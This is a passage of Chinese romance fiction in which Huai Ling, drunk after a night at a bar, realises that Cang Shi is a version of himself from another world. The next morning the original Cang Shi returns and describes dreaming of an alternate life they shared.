她的脚步虚浮,一半的重量都压在了苍恃身上,苍恃搂着她像是在护着世上的珍宝,两个人就这么离开了酒吧。 槐翎头晕得很,走出酒吧后立马就蹲在一边吹风,试图吹散点醉意。 苍恃也跟着半蹲在她身边,想让她早点回家休息。 偏偏槐翎是个倔的,喝醉后死活不肯动。 好些人路过时盯着槐翎看,苍恃都用眼神击退了他们。 “先回家。”苍恃好声好气地劝道。 “你不是苍恃,对吗?”槐翎忽地抬头盯着他,那样深邃的目光,绝对不是原来的苍恃该有的。 他的眼睛总是亮晶晶的,充满着对这个世界的好奇。 “我是。”苍恃伸手用粗糙的手指擦了擦槐翎的嘴角,“你喝多了。” “骗子,你和他不一样。”槐翎有些气愤地说道。 苍恃无声地笑了起来,他这么一笑,好像又变成了过去的他。 “阿翎,不管在哪个世界,我都爱你。” 槐翎还没来得及消化苍恃说的话,身子就被他先抱起来了,稳稳当当地。他的肩膀很宽,怀里又很温暖,槐翎下意识地抓紧他的脖子,紧紧地依偎在他的怀里。 她闭上了眼睛,在迷迷糊糊之中睡了过去。 槐翎隐约感觉到有人在摸自己的脸,动作很轻柔,指间的茧子却扎得她有些疼。 她的脑海里突然涌现了一个问题,没有由来地,让她很想知道这个问题的答案。 “那,另一个世界的我是怎样的我?” 只不过等槐翎醒来的时候,她就忘记了这个问题。 槐翎看见床头放着的水杯和解酒药,她来不及细想是谁放在这里的,脑袋先开始疼了起来,好像有根针在她的大脑里搅来搅去,弄得她完全忘记了昨天发生了什么。 她是怎么回来的?一点印象都没有了。 槐翎打着哈欠,毫无形象地离开自己的房间,迎面撞上了也在打哈欠的苍恃,他好像刚睡醒,头发乱糟糟的。 在看到槐翎的那一瞬间,他立马把哈欠收了回去,脸上泛着不自然的红。 槐翎突然就明白过来了。 “欢迎回来。”她如此说道,笑容真挚。 - 苍恃从温暖的被窝里醒来,他习惯性地摸了摸旁边的枕头,上面还是温的,人似乎刚离开不久。 他揉了揉有些发胀的太阳穴,在看到熟悉的装潢时终于放下心来。 不远处隐约传来说话的声音,苍恃顾不上还在疼的脑袋,拿起床边散乱的家居服就往身上套。 他迫不及待想要找到声音的主人,那是他安全感的来源。 苍恃推开了一扇又一扇的门,最后找到了正在阳台讲电话的槐翎,讲的内容很多很杂,有关于军事的,也有关于人事管理的,很显然另一边是祝译。 她只穿了一套白色的家居服,长发盘起在脑后,在注意到苍恃后她露出了一个浅浅的微笑。 确认她还在,苍恃的心这才放了下来。 “怎么了?”槐翎很快就结束了对话。 “我做了个梦。”苍恃说,“梦到了你,你的家人,梦到了好多人。” “然后呢?”槐翎面不改色,耐心地等他继续说下去。 “梦到你父母收养了我,我们一起上了高中,然后一起上了大学……上学的时候我总是不敢看你,生怕你发现我的心思。” “万一那不是梦呢?”槐翎耸肩,她语气轻松,好像在说着别人的事情,“或许在某一个世界的碎片里,我们都能幸福地生活下去。” 苍恃看着槐翎,嗓子有些哑。 他希望那不仅是个梦,在那个梦里的槐翎被爱所包围,她有了可以依靠的家人,也有了可以信任的朋友,她依旧聪慧、强大,没有人能够伤害她。 “现在的我也很幸福,毕竟不管在哪个世界,你都会爱我。”槐翎轻声笑了,阳光洒在她的身上,让她整个人都笼罩在金色的光芒中。 她已经一个人走了很远很远,远得让她回头也记不住自己曾经面对了什么,幸运的是,接下来她不再是孤单一人行走了。